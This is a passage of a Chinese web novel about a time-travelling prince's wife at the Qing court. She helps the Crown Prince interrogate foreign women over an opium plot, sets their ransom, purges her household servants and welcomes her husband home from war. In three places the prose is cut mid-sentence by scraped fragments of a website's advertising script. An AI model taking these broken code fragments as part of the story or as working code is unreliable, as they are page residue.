舒禾眼神复杂的凝视温玟星片刻,“……既然你说大清不值得你们这么多人出使,那么就说说,你们都有什么好东西,让你们有底气看不起我大清。” 啧,再多一句她都要说不下去了,这人完全不按台本走,说话也太狂了,一开口就直指大清,她可得好好想想,一会怎么保她一条命。 温玟星一边回想在外这两年的所见所闻,一边开口:“□□,在我们那遍地都是,但是在大清,巴掌大一小盒,你们就愿意花十两金子买。 开遍各国的东印度公司,你们大清就没有,而东印度公司,只开在经济好的国家,这还不能侧面说明你们大清不好吗?” “我大清地大物博,仅凭两点,不足以说明。” 胤礽在门口暗自点了点头,没错没错,他们大清地大物博,要什么有什么,怎么就不好了? “哼,妇人之见!”温玟星一扬下巴,不屑瞥了一眼舒禾,尽显娇纵之色。 与刚才问什么说什么的样子截然相反,但正是这样,才印证了她刚才所说的身份,一国国王之女。 舒禾也配合着她的表演,佯装被她嚣张的态度激怒,冷声道:“来人,将她……” “等等!你们不能拖我,我是大清的客人……” “客人?我们没有看不起我们的客人,拖……” “哼!你要是敢将我拖下去,我就让我父王联合早就觊觎大清的几个国家,向你们开战!” 闻言,舒禾精神一振,来了,在这坐半天,总算是说到点子上了。 手指快速的敲打几下桌面,传达信息的同时嗤笑道:“让你传不出去消息不就好了?” 温玟星一边接收信息,一边假装被吓到了,后退几步,却又因放不下身份而强撑着一口气,怒斥道:“你敢!” 舒禾停下敲打桌面的手指,无悲无喜得看着慌乱表情慌乱的温玟星,“那就让你试试我敢不敢,拖下去。” “是!” 眼瞅着又一个人要被拖下去,原来嚣张的外国女人们就像是被雨水淋湿的鸟雀,彻底嚣张不起来了。 而温玟星则是在被拖着经过柱子时,猛地用力挣脱束缚着她手臂的手,抱住柱子不撒手的同时大喊道:“不要将我下大狱,我可以告诉你们外边各国针对你们的阴谋!” 戏唱到这一幕,还差最关键的一个人,舒禾还没来得及让人去请胤礽,就见胤礽迈过门槛,径直走到温玟星面前停下。 “说,说的好,孤允你一条命。” 胤礽都想好了,允一条,砍两条,反正这人怎么样还不是他一句话的事。 还有他刚才从舒禾话里面悟出来的道理,只要消息传不出去,人怎么样根本就不重要。 得亏舒禾不知道他悟出来什么,要不然刚喝进去的一口茶水非得都喷出来,尽数贡献给地板不可。 “我……我知道也不多,我只知道,有几个国家在进行人口买卖、殖民,侵占他国土地,并对人口非常多、土地也非常多的大清虎视眈眈。 呃……还有、哦!还有,他们好像已经开始行动了!是什么来着、什么来着……” “说啊,到底是什么来着!” 舒禾坐在首座听着这大嗓门,不适的捂了捂耳朵,立马引起了宫女们的一阵恐慌。 那个扒拉着柱子的女人说的话固然有意思,但是关系着她们小命的肚子里的娃更加重要。 “你别急,我想了,我有在想了……” 温玟星做出一副快要吓哭了的模样,直到胤礽的耐心快要告罄,才露出恍然大悟的表情,“我想起来了!□□,也就是鸦片,他们想利用鸦片,直接拿下我们登陆的那个地方,再从那个地方,慢慢向里推进。” “□□?鸦片?它的作用是什么?” “吸多了,会变得骨瘦如柴,没有精神,一旦断吸,就会生不如死。” “还有呢?” “没有了!我知道的就这么多!”温玟星尖叫的同时,卡着角度给舒禾发送信号。 就在胤礽想要派人将温玟星拖下去严刑拷打时,舒禾也收到了她发送的信号,出声吸引了胤礽的注意力。 “我对她说的□□好像有印象。” 21.赎金:千万两黄金 听到舒禾说她有印象,胤礽立马放弃了对温玟星的询问,抬手示意江鸿将人带下去后,径直走到舒禾最近的椅子坐下。 “大嫂,你知道福寿、膏这玩意是什么?” “嗯,福寿、膏咱们本土就有,不过不叫这个名字,也不叫鸦片,而是叫罂粟,常用于医馆,给那些重伤的病人止疼用。” 胤礽点了点头表示了解,下一秒又狐疑道:“大嫂怎么知道的?” 舒禾暗骂了一句多疑鬼后,半真半假道:“我手底下经营着一些店铺,前段时间,有个掌柜的来报,说是有外国人问他要不要福寿、膏,提出要价十两金子,掌柜的拿不定主意,就来问我,我直接让掌柜的给回绝了。 但私底下让掌柜的买了一盒回来,想弄清楚到底是什么东西卖的这么贵,恰逢铺子里面有在医馆做过活的伙计,一下子就认了出来。” “敢问,大嫂的铺子可是在京城中?” “自是在京城中。” 胤礽垂在身侧的手蓦然攥紧,喃喃道:“所以,他们不仅只在两广地区兜售……” “我一直觉得一句话很有道理,”见胤礽看了过来,舒禾缓缓说了一句话:“当你发现一只蟑螂的时候,那么在你看不见的地方,蟑螂很有可能已经泛滥成灾了。” “泛滥成灾……大嫂,我想我知道该怎么做了,还请你先回去,今天这些事我会如实向皇阿玛表明,让他记你一功!” 舒禾淡笑着回应道:“不求有功,但求无过。” “功功过过,谁又能说得清楚呢,江鸿,你跟着,务必将大嫂安全送回南三所。” 安全送回去了,后边出了什么事,可就不能再赖他了。 胤礽到现在还惦记着舒禾怀孕的事,唯恐舒禾在他这出了什么闪失,弄得他和胤褆反目成仇。 他们两个现今还只停留在嘴上斗斗嘴的阶段,没有什么深仇大恨,也没有什么争权夺利的心思,最多就争争康熙的父爱。 是以,胤礽对舒禾这个大嫂,心里面是存着一丝敬意的,但对胤褆本人,不好意思,一丝没有。 目送舒禾离开殿内,胤礽将目光转向缩在一起的女人堆上,下一秒就被那大片雪白胸脯骇的撇过了视线。 这些外国女人的衣服也不知道怎么设计的,这么暴露。 “舍玉,你带着几个宫女,将这几个外国女人关进牢里,先不要用刑,就关着。” 舍玉,也就是刚才那个领头的宫女,弯腰行礼,“是,殿下。” “江竹,你去那边,告诉叔公,这边已经撕破脸了,不用和他们虚与委蛇了,全部抓起来关到牢里。” “是,殿下。” “江槐,笔墨纸砚,另备快马,书信写完,直接送出宫去。” “是!” 折腾一通,回到南三所时,天已经黑了,浑身疲惫的泡了个澡瘫在床上,仰面看着床顶发呆。 许久,像是想到什么似的,扭头看向以同样姿势瘫着的宝石,翻了个身,手指戳了戳宝石的屁股,“你说,今天这么一番话,会不会引起重视?” 【重视是肯定的,胤礽是太子,现在九龙都还没有长大发展自己的势力,在他眼里面,整个大清以后都是他要接手的地方,普一知道外边有不少国家对大清有觊觎之心,不可能不重视。 依着康熙现在对他的宠爱,胤礽重视了,康熙即使觉得没有那么严重,多少也会因胤礽而重视起来。 而等到了解了真实情况,康熙自然会发自内心的重视,他并不是没有大局观的皇帝。】 “借你吉言,晚安,顺便帮我把蜡烛吹了。” 【……知道了,晚安。】 黑暗中,宝石皱起眉头,那些不敢在舒禾面前展现出来的忧虑,借着夜色,展露了个彻底。 说实话,他并不认为认为康熙重视就能改变什么。 毕竟,历史上的康熙,就当真不知外国对大清这块肥肉的虎视眈眈吗? 不,他知道,要不然他不会学习外边的语言和各种知识,但是他知道,却并没有声张,还能因为什么,不过只因大清并没有实际上看上去的那么强。 要知道,这次二征葛尔丹的结果,因着旁边的沙俄捣乱,可是惨胜啊,更别说还有三征了。 一个葛尔丹加沙俄尚且如此,又从哪分出来兵力去外边开疆辟土? 是,他承认,九龙确实厉害,在各方面的能力也很强,强到让人怀疑康熙是不是耗尽了大清的国运才生出这么几个儿子。 但,不说现在他们还没有长成,就说没有钱,没有兵,只有在大清显赫的身份,也是成不了事的。 次日,随着太阳升起,宝石将内心的诸多想法再次隐藏,看着舒禾迷蒙的睡眼,心里面一软再软。 算了算了,到底是看大的小孩,关键时刻,计划不完善又如何,总归他看着呢。 刚睁开眼睛的舒禾突然感觉一阵恶寒,扭头朝飘在半空中的宝石看去,对上他那看女儿一样的目光,一时间有些沉默。 谁能来给她解释一下,为什么一觉醒来,最熟悉的匣子像重新换了个内胆一样?而且还是爹系的那种内胆。 【咳,一直盯着我看,是我身上有什么不妥吗?】 “不妥嘛……” 舒禾恶劣的拉长声调,直到宝石疑惑的飞到镜子前左看右看,才慢悠悠的接上后半句话,“倒是没有,就是突然发现,你一点不一样。” 【哦?不一样,哪里不一样。】 望着宝石饶有兴致的小脸,舒禾恶劣一笑,“充满了父亲的味道。” 【……哼!又打趣我,不理你了!】 眼瞅着宝石转身就往窗外走去,舒禾连忙叮嘱道:“别忘了把今天各店铺的总结报告拿过来!” 【知道了,舒扒皮!】 得到满意的答复,即使被叫舒扒皮舒禾也不恼,开开心心的起床洗漱去了。 洗漱过后,坐在梳妆台前准备化妆时,想到肚子里面还没成型那块肉,吩咐道:“今天就不化妆了,只涂些润脸的就好。” “那奴婢帮您选些素雅些的首饰。” “嗯,冬至,去看看膳食来了么,来了就直接摆膳。” “是,福晋。” 冬至领命走出房门,关上房门转身就看到了垂头丧气径直朝这边走来的李空,不由得拧眉拦住了李空的去路。 “你去的这方向,不对吧?” 李空烦躁的抬头想要训斥拦他路的宫女,谁知道一抬头就看到了冬至,顿时眼睛一亮,谄媚的笑笑,“冬至姑娘,敢问福晋可起了?” 冬至并没有透露舒禾有没有起床,而是反问道:“你问这个干什么?” 提到这个,李空立马耷拉了一张脸,烦闷的叹了一口气,“唉,江鸿又过来了,说是太子爷请咱们福晋过去。” “又过来了!他们是没人可用了吗?净逮着福晋霍霍!” “哎哟我的冬至姑娘,话不能这么说,再怎么也是那边的人。” 经李空这么一说,冬至也冷静下来了,对着李空点了点头,“我知道,这样,你去帮我问问正院的膳食提来了没有,我帮你进去给福晋禀告一声。” “那敢情好!麻烦冬至姑娘了,回头我给你送礼。”李空说完就欢天喜地的走了。 冬至看着李空离开的背影翻了个白眼,她还是第一次见把送礼说的这么光明正大的,现在院里面还实行了新制度,这李空真是不害怕被举报啊! 听完冬至的汇报,舒禾不可置信的睁大眼睛,“你是说,太子又派人过来找我了?” 在昨天温玟星的说了关于西方各国的谋划后,这事就已经隶属于政事范围了。 后宫不能干政的牌子还立在那,作为康熙手底下的优秀毕业生,胤礽却又让人过来找她了,到底是事情太难处理,还是胤礽也被人穿了? 胤礽……胤礽没被穿,只是事情有点太难处理了。 看着不过被甩了一鞭子就哭死苦活,嚷嚷着要让他们偿命的女人,胤礽在这一刻感受到了深深的无力感,并由衷的思念离开的康熙。 皇阿玛啊皇阿玛,你快回来吧!这朝堂,儿臣真的有点承受不来! “太子爷,大福晋来了。” 胤礽揉了揉被吵到发疼的眉心,一夜未眠的眼睛里面满是红血丝,看了一眼前来禀告的江竹,眨了眨眼,声音沙哑道:“嗯,请进来。” “参见……” “大嫂不必多礼,江竹,把这个椅子搬过去,大嫂,坐。” 能少行一个礼自然是好的,椅子搬过来后,舒禾理着衣摆坐下。 看了一眼大殿中哭天抢地的温玟星和其他几个外国女人。对胤礽叫她过来干什么,已经有了些猜想,而接下来胤礽所说的话也印证了她的猜想。 “大嫂,你初怀孕,本不该多劳累,昨天叨扰过孤已经很是愧疚,今天本想送些东西过去权当做是感谢大嫂昨天的帮助,但……” 胤礽扫了一眼殿中混乱的场景,抬手揉了揉眉心,对舒禾露出一抹疲累的微笑。 “大嫂也看见了,那几个不会说汉话的外国女人都对那个会说汉话的外国 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 女人言听计从,而她,又一定要大嫂来了才如实交代,我这也是迫不得已,唉~” 看着胤礽忧愁的模样,舒禾默了默才道:“太子不必忧愁,如今我来了,您让我问什么,我问什么就是。” “如此,就多谢大嫂了,一会,我一定给你准备多多的谢礼!” “谢礼什么的就不用了,开始吧。” “先问问她们各自的身份。” 听到第一个问题,舒禾点了点头,依言问道:“温玟星是吧,我记得你昨天说过你的身份了,若是能将她们几个的身份也说了,我这边许你一个好处。” 说话的同时,舒禾给温玟星使了个眼色,暗示她这是保命的绝佳机会。 温玟星也瞬间了然,立马高举手揭发身边人的身份,“我说!她是英国第十八亲王的女人、她是法国……” “都是亲王的亲戚?”胤礽不可置信的眨了眨眼,喃喃道:“外国的亲王位这么不值钱的吗?” 听到胤礽喃喃声的舒禾差点没被自己的口水呛到,说了这么多,你就只注意到这个,该说你什么呢,刻在中国人骨子里面想要加官进爵的欲望? 还没来得及思索出个所以然,温玟星那边又放大招了。 “我说了她们的身份现在该给我好处了!我也不多要,我只想跟在你们大福晋的身边,为奴为婢都可以!” 反正她本来就是主子的人,为奴为婢也不过是回归老本行。 倒是胤礽有些纳闷的问道:“你一个国王之女,为奴为婢?图什么?” “我喜欢你们大清的大福晋!” 此言一出,众人哗然。 舒禾一脸恍惚的看着温玟星,脸上写满了茫然,如果她没有听错,她是被人表白了?不对,不是被表白了,而是被当挡箭牌了! 胤礽面无表情的看着温玟星,内心活动剧烈,如果他没有听错,老大的福晋被人告白了,哈哈哈哈,真是笑死他了,也不知道老大打完仗回来一看,怀着孕的福晋没了会是什么表情…… 咳,不对不对,他这样想太幸灾乐祸了,咳咳,再怎么也该装什么一下,不过……他真的好想帮一把啊—— 守在一边的舍玉看出了胤礽的蠢蠢欲动,连忙小声提醒道:“殿下!大阿哥的性子!” 就大阿哥那性子,你给他福晋搞没了或者给他搞个情敌,他回来是真的会找你拼命的! 经过舍玉的提醒,胤礽方才还热切的眼神瞬间冷了下去,“她是我大清朝的大福晋,收起你的那些小心思,这事,孤不允。” “我愿意献出所有,只求陪在她身边,无名无份也可以。” “你……” 看看被堵得说不出话的胤礽,再看看一副恋爱脑发作的温玟星,舒禾果断选择了沉默不言。 至于那些暗处的打量,只要没有很明显,她可以不在意的。 嗯,没错,她不在意,不在意……个鬼,她十分在意的好不好! 如果现在有个地缝,她绝对不会犹豫一秒就钻进去! 看出了舒禾的尴尬,胤礽幻视一圈殿内为保证安全留下的宫女太监,直看得没有一个人抬头才收回视线。 “大嫂,问第二个问题吧,至于你方才许诺的好处,孤这边自会解决,决计不会让大嫂付出什么。” “如此,那就多谢太子了。” “第二个问题是,他们的父亲或者情人,能拿出多少钱来赎人。” “嗯……嗯?” 胤礽闭了闭眼,小声道:“国库最近有点空。” 舒禾:懂了! “太子的话你也听到了,说吧,各自愿意出多少钱赎人。” 舒禾边说边垂眸扫了一眼温玟星,眼神中暗藏警告,警告她别再作妖了,老老实实的让瓜哇国,也就是她拿钱赎人。 温玟星:被警告了,不开心,想陪在主子身边…… 心里面一个想法,明面上又是另外一个做法,一圈询问下来,温玟星报出了一个数字,“三千万两。” “白银?” 温玟星扫了一眼连猜都不敢大胆猜的胤礽,一扬下巴,高傲道:“金子!” 金子啊——那他就勉强容忍一下有人在他面前给他还高傲吧,如果皇阿玛知道他是为了千万两金子如此,想必也是不会怪他的吧? 嗯,肯定不会怪的,要不是皇阿玛借钱把国库弄穷了,他也不至于忍了一个在他面前嚣张的人。 舒禾坐在一边纵观全局,只感觉很迷惑,温玟星那高扬的下巴不放下去就算了,怎么胤礽的脸色变来变去得? 22.胤礽的思想转变 半天不见胤礽说什么,舍玉不得不压着嗓子提醒道:“殿下,大家都等着呢。” “啊?哦哦,咳,那就依你说的,三千万两金子,放你们走。” 温玟星闻言眼睛一亮,张嘴夸赞道:“大清的太子,你是个好的。” 胤礽闻言嘴角一抽,要不是这么多年的教养在那,他是真想回一句‘孤好不好,用你评判?’并着人把温玟星拖下去打二十大板。 然而可惜的是,他不能对这些外国人动刑,要不然不利于大清对外的外交。 说实话,如果可以动刑,牢里面的百八十手段早就撬开这些人的嘴了,他哪用的着担风险去请老大福晋…… “大嫂,赎金已经定下,接下来的问题反倒是不好再问,”胤礽说到这里顿了顿,仿佛因把人用完就丢而不好意思,“她们一会就会被送回驿站,孤还要去索额图那边,不好一直陪着大嫂,派人送你回去,可好?” 话都说到这份上了,要是说不好就跟当众打太子的脸一样,她是来解决问题的,不是来结仇的,是以当下,舒禾直接顺着胤礽的话说了好。 “江竹,着人准备软轿,然后派人去将前段时间索额图送来的异色双面绣屏风拿来,直接送到南三所。” 吩咐完江竹后,胤礽笑容谦逊的对舒禾点了点头,“小小心意,不算什么,还请大嫂收下。” “太子客气了,异色双面绣还做成了屏风的,可不好寻,在此,我就先谢过太子割爱了。” 说着舒禾朝胤礽行了一礼,见此,胤礽并没有阻止,却是让开半步没有受实。 胤礽受不受的舒禾并不在意,只要她礼数到了就好,将手伸到由冬枣扶住,暗中与温玟星对了最后一个眼神后,施施然的走了。 舒禾离开后,胤礽扫了一眼在场的外国人,抬手一点,“你,如果能帮孤对付那些外国男人,赎金减半。” 说到减半时,胤礽心里面微微抽疼,那可都是金灿灿的即将到手的金子啊! “大清的太子,我可以帮你,但是我想……” 温玟星一说她想,胤礽就条件反射想起了她刚才的惊天之言,一摆手打断了她的话,“算了,不用你了,江竹……” 啧,江竹被派出去了,不在。 “江鸿,你去,将这些人送回去,监督他们向自己的国家要赎金。” “是!” 江鸿带着一群人离开后,胤礽走出大殿看了一眼天色,对一边的舍玉道:“将这边的事告诉叔父,让他看着办。” “索额图大人恐怕不会听奴婢的。” 闻言,胤礽也想起了自己这个叔父的固执己见,抬手揉了揉眉心,眼中一片冷然,“那孤亲自去说,你去从库里面再挑点好东西给大福晋送过去。” “殿下,不是已经送了……” “舍玉,你僭越了。” 舍玉的身体一僵,她是赫舍里家专门送进宫服侍太子的,平时多有僭越,但太子却从没有提起过天,今天怎么…… “还不去?需要孤请你!”胤礽扫了一眼僵在一边的舍玉,不咸不淡道。 “请殿下息怒,奴婢就这去。” 息怒?他根本就没有怒过,息哪门的怒? 胤礽看着舍玉离开的背影,轻声呢喃道:“这天,要变了。” 这两天相处下来,他的直觉告诉他,舒禾并不简单,更甚者可能和这次的事件有关系。 只是苦于没有证据,外加今天的试探也没有露什么马脚,而舒禾的身份是入了皇家玉蝶的大福晋,又有老大那家伙的喜欢,他不好私底下做什么。 还有,外国对大清的图谋已久,如今还尚且忌惮强盛的大清就敢把爪子伸向边缘地区,若是以后大清衰弱了…… 胤礽不敢想那会是什么样的场面,只知道那样的场面,不能在皇阿玛继位时发生,当然,也不能在他在位时发生。 这次他私要赎金,对西方诸国即是一种挑衅,也是他对皇阿玛的一种逼迫。 逼迫他在选择向外宣战,底下的兄弟多有长成,各有天赋,以后会更强,不过西方诸国,他不惧,他相信,他那些兄弟们也无惧。 而皇阿玛意气风发,尚还有心思亲征,想必也不会惧。 咳,说来,这事胤礽也存了几分报复的小心思,你亲征,把我扔下,我搞点小事怎么了? 已经回到南三所的舒禾还不知道胤礽思想转变这么快,如果知道,一定会大笑三声,并对着胤礽竖起大拇指,夸他是新时代好青……啊不,少年。 可惜,她不知道,所以她现在正神色复杂地看着据说是胤褆快马加鞭命人送来的礼物。 一指地上半人高的石头问道:“你再说一遍,这是谁送来的?” “回福晋,是李阔。” 李阔,跟着胤褆一起随军走了,是李阔送来的,那么这玩意是胤褆送的没错了。 “福晋,李阔公公还带来了一句话。” 秋雨没直接说,可见这话不是什么好话,舒禾深吸一口气,做好心理准备方才道:“说。” “是,”秋雨扫了一眼被充满风雨侵蚀痕迹的石头,缓缓道:“这块石头据当地村民所言,已存在数百年不曾损毁,爷看上面风雨痕迹,想到往后数十年,万望与尔共度,不惧风雨,感情坚如此石。” “呵呵——” 舒禾尬笑,如果这话写到信纸上托人带回来,她会感动,但是托人带回来,不好意思,她只觉得尴尬。 “来人,把这块石头搬到假山处,”顿了顿又加了一句,“放得靠后一点。” 随着一声令下,院中的太监们动了起来。 舒禾一个人回到书房,抬手按了按突突直跳的太阳穴,看见宝石就坐在桌上悠哉悠哉的玩着手指,当即抱怨道:“一天天的,真是过不下去了。” 【咳,我看外边的石头挺好的啊,怎么会过不下去?】 “宝石,你变了。” 对上舒禾幽怨的目光,宝石轻咳一声,点出了一个旁人都不曾发现的事实。 【那块石头是块原石,里面包裹着一块人头大小的墨翡。】 “当真?” 看着秒变精神的舒禾,宝石笑着点了点头,【当真。】 “那我现在就让人把它砸了,挖出玉石给你吃!” 宝石叫住兴致冲冲就要出去 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的舒禾,只觉得空荡荡的胸口都软了片刻。 飞到舒禾脸前摸了摸她的脸老成道,【不用,那块石头就放着吧,再怎么也是旁人送你的礼物。】 “可是……” 【难道没有那块墨翡,我就不吃其他玉石了?】 “那还是要吃的。” 【亦或者,你心疼喂我吃的玉石了?】 “怎么可能!玉石不过一些死物,如何能与你相比!” 【那不就得了,】宝石一摊手,绕到舒禾身后,推了推她的肩膀,轻哄道,【好了,赶紧去看我带回来信封吧,里面可记了不少外边的消息。】 “我现在就去。” 说完舒禾就绕过书桌坐下,拿过一封信就看了起来。 第一封:A计划已暂停,B计划正在进行中,目前进势良好,接下来如何,请主子指示。 舒禾拿起一边的毛笔,沾了沾墨,写道:继续B计划,多余之事,不可做。 第二封:暗中观察的人来报,福寿、膏被对方势力收纳,目前已开始小范围兜售。 回:记名单,不可轻举妄动。 第三封、第四封…… 不知道多少封过去,天色已经昏暗,秋雨端着烛台走进来,点燃房内的烛火。 见舒禾忙着批复东西,也没有急着说话,而是帮着整理起书桌上摆放凌乱的物件。 约莫着一刻钟后,舒禾放下手中的毛笔,拿起秋雨递过来的手绢擦了一下手,随口道:“怎么不是冬至过来?” “奴婢有事要禀告,就替冬至进来了。” “什么事?” “经过今天的摸底,发现院中有些人小动作频发,总是有意无意的靠近书房,虽被拦下,但难保以后不会再犯,您看?” 舒禾皱了皱眉,她一直待在书房还碍着某些人的眼了。 “将人丢给李空,并告诉他,本福晋丢了个镯子。”说着,舒禾将手中的镯子摘下来,扔给了秋雨。 到这里,意思已经表现得很明显了,秋雨接过镯子就躬身退了下去。 书房内,舒禾盯着摇曳的烛火出神…… 一个月盘查下来,舒禾发现,说胤褆的院落是筛子都侮辱筛子了,因为筛子都没有那么多孔。 看看!看看手上这份报告,一个院子,那么多人,老实本分的不过十六个,其他的全是各怀心思的! 之前和胤褆相处的那一个月,她是发现了胤褆万事不过心的特质,但万万没想到他能不过心到这种地步! 这怕不是早上吃什么,他这个主子还不知道的时候,消息就已经被人送出去了吧? 唯一值得庆幸的是,他身边跟着的几个小太监是忠心的。 左手揉捏着右手指腹,对前来汇报成果的秋雨点点头,“干的不错,这个戒指,赏你了,接下来,开启为期两个月的清理。” 接下来两个月,南三所内几乎每天都能听到有人被送出去的消息。 同住在南三所的胤禛、胤祉、胤祺等人,听到大阿哥那边院落传来的消息,私底下聚过一回,最后都默默选择了无视,偶尔还会借着这股子东风清理一下身边的人。 23.提前赶回 直至前线传来大军班师回朝,各位主子不日到京的消息,这场仅限于小院的清洗才算是结束。 胤褆回京那日,舒禾一脸呆滞的坐在梳妆台前,任由冬雪在她脸上捣腾,只右手缓缓抚摸着微鼓的小腹。 “福晋,您想要的妆容已经画好,您看看是否需要再改?” 舒禾扫了一眼镜子里面的自己,摇了摇头,“不必,就这样吧,去把……” “舒禾!” 猛然听到胤褆的声音,舒禾惊讶的扭过头去,只见胤褆一身风尘仆仆的站在门口。 打眼看去,脸色相比于离开时,黑了不少,当然,也瘦了不少,可见是吃了不少苦。 但!这不是最重要的,重要的是,胤褆为什么会现在出现在这里! “你” “别问,一会给你解释,现在先让我抱抱。” 看着抱在一起的两人,几个丫鬟对视一眼,默默的出了卧房关上房门,将房间留给了久别重逢的夫妻两人。 房间内只余二人后,舒禾垂在身侧的手缓缓抬起,抚上胤褆的脸,摩擦着在上面落下一吻,“黑了,也瘦了,但,还是很好看。” “我一个大男人外貌怎么样都无所谓,倒是你,受苦了,怀孕初期我都没能陪着你,是不是很辛苦?” 舒禾含笑摇了摇头,“不苦。” 平日里那么多宫人伺候着,好吃好喝的供着,她哪有什么苦的,而且这孩子还是她以后的…… 听舒禾说自己不苦,胤褆完全不信,他可是问过不少娶妻生子的士兵,都说前三个月非常辛苦,动辄干呕吃不下饭都是轻的,有那严重的,还可能流产彻底伤了身子。 “以前怎么样就不说了,以后有我在,我都陪着你。” “好。” 两人静静的依偎着靠了一会,胤褆才缓过那阵初见到人激动的心。 一缓过来,就想抱着舒禾分享自己这些天的见闻,念着两人久别重逢,舒禾也由着他。 胤褆抱着舒禾坐在软榻上,舒服的喟叹一声,感慨道:“还是家里面舒服,战场上完全没有那么好的条件。” “哎,对了,舒禾你知道嘛,中途皇阿玛生病,一夜之间就病得瘫在床上起不来了。 就在皇阿玛以为是上天不让他亲征时,太子一封信把他气得从床上坐起来大骂逆子,病也好了。” 闻言,舒禾沉默两秒,迟疑着问道:“信里面,说的该不会是向各国要赎金这事吧?” “你知道?”胤褆一脸惊喜的看着舒禾,旋即一挥手,“你知道的肯定没我全面,我再给你讲一遍。” “好,正好我也很久没有听到你的声音了。” “嘿嘿——咳,严肃一点,接下来是讲故事时间。” 舒禾眼神示意,你要严肃可以,倒是把我从腿上放到一边啊! “话又说回来,人不能那么古板。” 舒禾无语的翻了个白眼,吐槽道:“横竖都是你的理。” 胤褆充耳不闻,只讲自己的故事,“皇阿玛他突然离京这事,你知道我就不讲了,主讲太子把他病气好了的事。” “嗯。” “离京大概三四天吧,皇阿玛就因为水土不服病倒了,一夜就从微烧发展到了高烧,一天一夜都没有下来,就在我们以为要咳咳…… 都准备写信让太子过来探疾时,太子的第一封信来了,看到第一封信,皇阿玛反应平平,不久,第二封信就来了。 信上写了什么我们不知道,只知道皇阿玛跳起来直呼逆子,后来还是信纸飘落到地上,被皇叔捡到,传阅了一下我们才知道到底发生了。” 说到这里,胤褆顿了顿,轻啧一声感叹道:“要我说,勇还是太子勇,平时不鸣则已,到关键时刻直接一鸣惊人。” 感叹完了,又言归正传。 “然后就是高烧被气退了,写了一封信回去骂太子,亲征葛尔丹,大发神威,直接砍了葛尔丹的人头祭旗,回程时还顺便给了旁边蠢蠢欲动想要挑事的沙俄一巴掌。” 嗯,意思就是第二次亲征成了,三征葛尔丹这事被蝴蝶了,沙俄也被训了…… 舒禾沉默着想,这改变有点大啊,知名历史事件都没了。 有了胤褆刚才那番话,舒禾对这次战场上的事件了解了个大概,顺势也给胤褆讲了一下她在宫里面的亲身经历,比胤褆所看信上说的详细了不是一星半点。 听完后,胤褆久久无言,垂眸看着怀里面的人,万万没想到,打响得罪人第一枪的是自家福晋。 抬手揉了揉舒禾的头,沉声道:“这事,你以后别再往外说,我一会去找趟太子,让他在皇阿玛回来前,把知情人的嘴给封了。” “说到这,我想知道,皇阿玛都没有回来,你怎么……” “我年轻,精力旺盛,闲不住,给皇阿玛说了一声就连夜先赶回来了。” 闻言,舒禾抬手轻点胤褆的额头,嗔道:“你是真不怕皇阿玛生气啊!” “怕啥,我是他儿子,再怎么,他还能杀了我不成?”胤褆并不想在这事上多提,摸了摸怀里面的孕肚,转移话题道:“四个月了吧,我还没有见过是什么模样,让我看看如何?” 舒禾翻了个白眼,撑着胤褆的肩膀站起身,双手环胸摇头拒绝,“不如何,想看就等晚上的,我这刚画好的妆容,可不想陪你胡闹,还有,你是不是一回来就过来我这了?” “昂,我福晋在这,未出生孩子也在这,我不回这回哪?” “榆木脑袋,”舒禾瞥了一眼某个娶了媳妇忘了娘的人,朝外扬声道:“秋雨,备水。” 说完,舒禾扶着腰低头看坐在软榻上的胤褆,“除热水,可还要其他的什么?” “有热水就够了。”在前线,还不定能不能用上热水呢,胤褆不甚在意的想道。 等候热水抬过来的时候,室内一时静默无言,胤褆想到什么,出声打破了一室宁静。 “我刚才一路回来,看到不少生面孔,他们是干什么的?” “新换来的,之前那批不听话,就让我给想办法换了。” 说这话时,舒禾佯装不在意的看着其他地方,实则脑海中直Q宝石,【宝石,给我盯着他的脸,但凡有一丝不满之色,都给我记下来。】 在房梁上躲清净的宝石闻言,一跃从房梁上飞下,看着胤褆迷蒙到快要睡着的脸,抿了抿唇。 【你家这个,就没有不满那根筋。】 【啧,你看了嘛就说……】 舒禾扭过头看见胤褆那就差一条缝就要眯上的眼睛,直接住脑,再说不出一个字。 是她唐突了,一个没脑子的憨憨怎么可能有那么多想法。 等胤褆补足觉洗漱完换好一身新衣服,夫妻两个结伴来到延禧宫,普一进门就被早已等候多时的惠妃给发现了。 惠妃自首座走下,拉住舒禾的手,上下扫视了一遍胤褆,没看见什么伤口才松了一口气,心里面那口气松了,明面上又自动回归了以前的状态。 “额娘,儿臣给您请安了。” 看着嬉皮笑脸的胤褆,惠妃就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 觉得烦,不耐烦的对着胤褆摆了摆手,“安也请了,没事就回吧,舒禾留下就行。” 胤褆不可置信的问道:“额娘,这么久不见您就这么把我打发了?” “不然呢,不知道后宫外男不能久留吗?” “得,我成外男了,额娘,您是这个!”胤褆对着惠妃竖了个大拇指,赶在惠妃恼羞成怒前,又把手放了下去,“那我就走了啊额娘,对了,晚上我来接舒禾回去。” “知道了知道了,一天天的,烦死了。” 胤褆走后,舒禾看着脸上写满了不麻烦的惠妃,不解的问道:“额娘,您不是经常念叨胤褆,担心他嘛,怎么他回来了,又……” 惠妃拍了拍舒禾的手,一脸的意味深长,“等你以后孩子出生了,就懂了。” 那种看不到担心,看到了又烦得要死的心,啧—— “不说他了,走,回宫,额娘已经着人把你说的扑克做出来了,两套,咱们一会玩一套,晚上你带回去一套。 就是啊,你说的那些玩法本宫有些没听懂,一会,你可得好好教教额娘。” “好,我肯定……” 声音越行越远,直到完全听不到里面传来的声音,胤褆才带着李阔和李空去了太子所在的毓庆宫。 到了地方,胤褆根本没管那些通传的宫人,直接就去了太子办公的地方。 其他人办公的地方胤褆不说能找准,但是太子办公的地方他却是一找一个准。 要说为什么,胤褆把他归功于宿敌之间的了解。 胤褆推开房门,大喇喇的坐到一边的雕花大椅上,自顾自的倒了一杯茶喝着。 根本不敢拦的江鸿看向胤礽,“殿下,这……” 胤礽放下手中的毛笔,揉了揉眉心,闻声道:“这里没你事了,下去吧。” “哎!奴才遵命。” 看着江鸿离开还不忘把门带上,胤褆突然就笑了,“你这的人,胆子还是一如既往的小。” “比不得大哥,连声通传都等不了,直接闯。” “那我也比不得你啊,直接把皇阿玛病都气好了。” 